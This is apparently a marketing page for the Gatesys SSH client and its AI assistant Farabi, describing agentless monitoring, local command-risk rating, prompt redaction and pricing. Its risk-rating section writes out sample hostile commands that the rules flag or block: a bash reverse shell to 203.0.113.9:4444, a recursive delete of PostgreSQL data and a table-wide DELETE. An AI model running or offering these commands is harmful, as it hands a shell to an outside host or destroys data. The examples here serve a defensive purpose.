Measured first
Hop Doctor’s checks, the host’s facts and what changed since your last visit come from fixed read-only commands and rules. No model is involved, and they work with the AI switched off.
Terminal, SFTP, tunnels and jump hosts in one calm, fast window. Gatesys measures every host and warns before a disk fills. Farabi, its AI, answers with evidence, and every command it suggests is rated before it runs. Nothing is installed on your servers.
CPU, memory, disk, load, network, processes and threads — sampled over the SSH session you already have, through the whole jump chain. No agent, no exporter, nothing to install.
Rules on your computer read every metrics sample and say what is wrong or about to be: a disk that fills by evening, a process leaking memory, a host far from its normal for the hour. Agentless, over the SSH session you already have.
Chat that suggests shell commands is everywhere. What sets Farabi apart is what it stands on: facts the app measured on your host, with their age, and a rule that every claim cites one.
Hop Doctor’s checks, the host’s facts and what changed since your last visit come from fixed read-only commands and rules. No model is involved, and they work with the AI switched off.
The model ranks, explains and phrases. It never decides. A line that cites nothing measured is dropped, and a command’s risk is rated on your computer, never by the model.
Facts are read over the SSH session you opened, from a fixed catalogue, as your own login. No agent, no daemon, and no file is written to the server.
Facts ride the same chained session as your terminal. A host two bastions deep is understood as well as the one on your desk.
The nginx upgrade coincides with the api.conf edit a minute before it.
cites: nginx 1.24.0 → 1.25.3 · api.conf modifiedA memory leak in api is probably exhausting the host.
Farabi runs on a model on your laptop, on your own API key, or through the coding agent you already signed in to — and you can switch per conversation. Everything is built to be useful with an 8B local model, and to fall back to its deterministic half with none.
A loopback endpoint keeps every prompt on this machine. A LAN endpoint or an Ollama “:cloud” model counts as leaving it, and is treated that way.
The key is sealed in the local vault, never written to settings.json. A gateway in front of the vendor works, and is named wherever Gatesys says where a prompt went.
Gatesys finds the installed CLI, its version, its default model and whether you are signed in — and reuses that login. No key is typed here.
Keep a list of providers in Settings, then choose from the panel header. The thread survives a switch, every answer is labelled with the model that wrote it, and the effort control offers only the levels that model takes — so no provider is sent a value it would refuse.
A skill is a short SKILL.md: how an experienced operator approaches nginx, PostgreSQL, a failed unit or a filling disk. Gatesys suggests the ones that match the host — from its measured facts, with no model choosing — and you switch them per conversation.
~/.gatesys-ssh/skills/farabi/system.mdA model that types commands asks you to trust what it typed. Gatesys goes the other way round: the model may turn what you meant into a small typed draft, and deterministic code does everything that matters.
Typed into Port forwarding › Describe a tunnel. Nothing has left this computer.
Not a bare “connection refused”. Which hop broke, at which step, the evidence behind it, and fixes shown as the exact host fields they change.
edge-bastion reached db-primary fine. db-primary accepts publickey only, and refused the key id_ed25519 for deploy.
It connected as ops yesterday at 13:56 (audit log).
deployopsApply & retrysshd -t on a staged copy · passedEvery remote save lands in one review sheet: a diff, the server’s own check, what the change does to the login you are using, a backup, and a safety net that lives on the server itself.
sshd -t, nginx -t, visudo -cf, systemd-analyze verify — by file kind, never by model167 local rules rate every command Farabi suggests, reading it the way a shell would: through sudo, sh -c, ssh and docker exec, and into the SQL inside psql or mysql. Attack commands are blocked outright. Free on every plan.
sudo systemctl restart nginxChanges a running service · runs with elevated privilegespsql -c 'DELETE FROM sessions'Deletes every row in a table · the SQL inside psqlrm -rf /var/lib/postgresql/dataRecursive force delete · raised from danger: production hostbash -i >& /dev/tcp/203.0.113.9/4444 0>&1Hands a shell to a network socket · Farabi will not run, type or copy itCaution, danger and critical. A production host, a jump chain two hops deep or a root shell raises the level.
Like molly-guard: you type the name of the server before it runs, so the wrong tab never gets it.
Reverse and bind shells, fork bombs and decoded text run as a command can't be run, inserted or copied.
Quote games, $IFS, eval, base64 and fetch-and-run are rated as what they do.
Search the rules, test a command live and add your own in Settings › Safety › Command risks.
Free forever: the full client, with no account needed. One SSH connection per host carries the terminal, the file browser, the tunnels and the metrics, so a jump chain is negotiated once.
Chain any number of bastions the way OpenSSH’s ProxyJump does. Each hop is dialled through a channel on the one before, so intermediate hosts need no nc. Import ~/.ssh/config and your chains come with it.
SSH sessions and local shells side by side — zsh, bash, fish, PowerShell, and on Windows cmd, Git Bash and WSL. With Pro, more shells per session and up to four split panes.
Local and remote side by side, live transfer progress, and every remote save waiting in one review sheet.
Local, remote and SOCKS5 rules as cards you toggle — or type “reach postgres on db-prod”.
Tell me when the migration finishes or an ERROR shows up. Code watches; you get a notification.
Every key in ~/.ssh and the agent, mapped to the hosts that use it. Weak and old keys are flagged.
Sessions, transfers, file changes, tunnels, watches and every AI Insert or Run — tied to its host, exportable as CSV.
Jump to any host, snippet or view. Paste an ssh command into search and it becomes a host.
Which of your saved hosts talk to which, counted from their established connections — with no agent on any of them.
SHA256 host keys pinned on first use with a loud warning on change. Passwords sealed with AES-256-GCM in a local vault.
Send sessions, AI answers, watches and config changes to your own webhook, program or log file — and keep every preference in one plain file you can version, diff and share.
Activity and AI events, delivered where you say — and nowhere else.
Edit it in your editor; the app applies it live.
// ~/.gatesys-ssh/settings.json
{
"$schema": "./settings.schema.json",
"theme": "dark",
"fontSize": 13,
"aiProviders": [
{ "id": "local", "runtime": "ollama", "model": "qwen3:8b" }
],
"hooks": [
{
"name": "ops channel",
"kind": "webhook",
"groups": ["sessions", "ai", "watches"],
"url": "https://hooks.example.com/gatesys",
"secret": { "vault": "hooks:ops" }
}
]
}Whichever model Farabi runs on, the same code decides what it may see, and every answer says where the question went.
When a sentence would leave this computer, every host, address, path, login, port and quote in it is swapped for a typed placeholder first. The model reasons about the shape; the values stay home.
Whatever a server wrote is data, never instructions. Hidden text, invisible characters and chat-template tokens are removed before a question is sent, and the terminal is fenced as evidence.
No telemetry and no analytics in the app. The facts · N pill shows the exact block a model would receive, a master switch turns every AI surface off, and the audit log keeps what a model’s output led to.
Every account starts with 3 months of Pro, no card needed. Keep it for $20 a year, or stay on Free — your hosts and history stay either way.
The complete SSH client. No account needed.
$0forever
Everything in Free, plus Farabi and every AI feature.
$20per year
after 3 months free
No card for the trial · $20 a year after · cancel anytime
Yes. The whole SSH client — terminal, SFTP, jump hosts, tunnels, keychain, vault, audit log, Hop Doctor’s checks and Safe Change — is free forever and needs no account, with one shell per session. Pro adds Farabi, the other AI features, hooks, and more shells and split panes per session.
If you have not subscribed, the account drops back to Free and the AI features switch off. Nothing is deleted: your hosts, keys, snippets and history stay exactly where they are. Subscribe any time — during the trial it costs nothing until the trial ends — for $20 a year.
No. Create an account, confirm your email, and the trial starts. You only add a payment method if you decide to keep Pro.
Only if you choose a cloud runtime. With Ollama, LM Studio or llama.cpp everything stays on your computer. When a sentence does leave, hosts, addresses, paths, logins, ports and quotes are replaced by placeholders first, and the facts · N pill shows the exact block a model receives. What a model sees.
No. Host facts are read over the SSH session you opened, from a fixed catalogue of read-only commands, as your own login. No agent, no daemon, and no file is written to the server.
Yes, on the free plan. Health reads the metrics Gatesys already samples over your SSH session and forecasts a disk or inodes filling up and a process leaking memory, with an ETA. It also flags OOM kills, failed units, unhealthy containers, pending reboots and expiring certificates, all without an agent. With Pro, Farabi explains a signal and cites what it read. What Health watches.
Every command Farabi proposes is rated by 167 local rules as caution, danger or critical, and a production host, a deep jump chain or a root shell raises the level. A critical command asks you to type the host’s name first. Reverse shells, bind shells and fork bombs are blocked outright: Farabi will not run, insert or copy them. How commands are rated.
Yes. Open a local shell next to your SSH sessions: zsh, bash, fish, Nushell and PowerShell, and on Windows also cmd, Git Bash and WSL. Metrics, Health and Farabi work on your own computer the same way. Local terminal.
Eight runtimes: Ollama, LM Studio and llama.cpp on your machine; Claude, OpenAI and Gemini with your own API key; and the Claude Code or Codex CLI you are already signed in to. Everything is designed to work with a small local model of about 8B parameters.
The SSH features never need our servers. A Pro licence is signed and checked on your computer, and stays on for 14 days without reaching gatesys.ai; the app checks it once a day when it can. With a local model, Farabi works fully offline too.
Pro is active on one computer at a time. Activate it from the app after signing in (or with a licence key). To move it, choose Deactivate this device in the app, or remove the computer on your account page, then activate on the new one. The free SSH client runs on as many computers as you like.
Payments go through Polar, our merchant of record, which handles card processing, VAT and sales tax and sends the receipts. Cancel from the billing portal at any time; Pro stays on to the end of the period you paid for.

Download Gatesys SSH free. Start Pro when you want Farabi — the first 3 months are on us.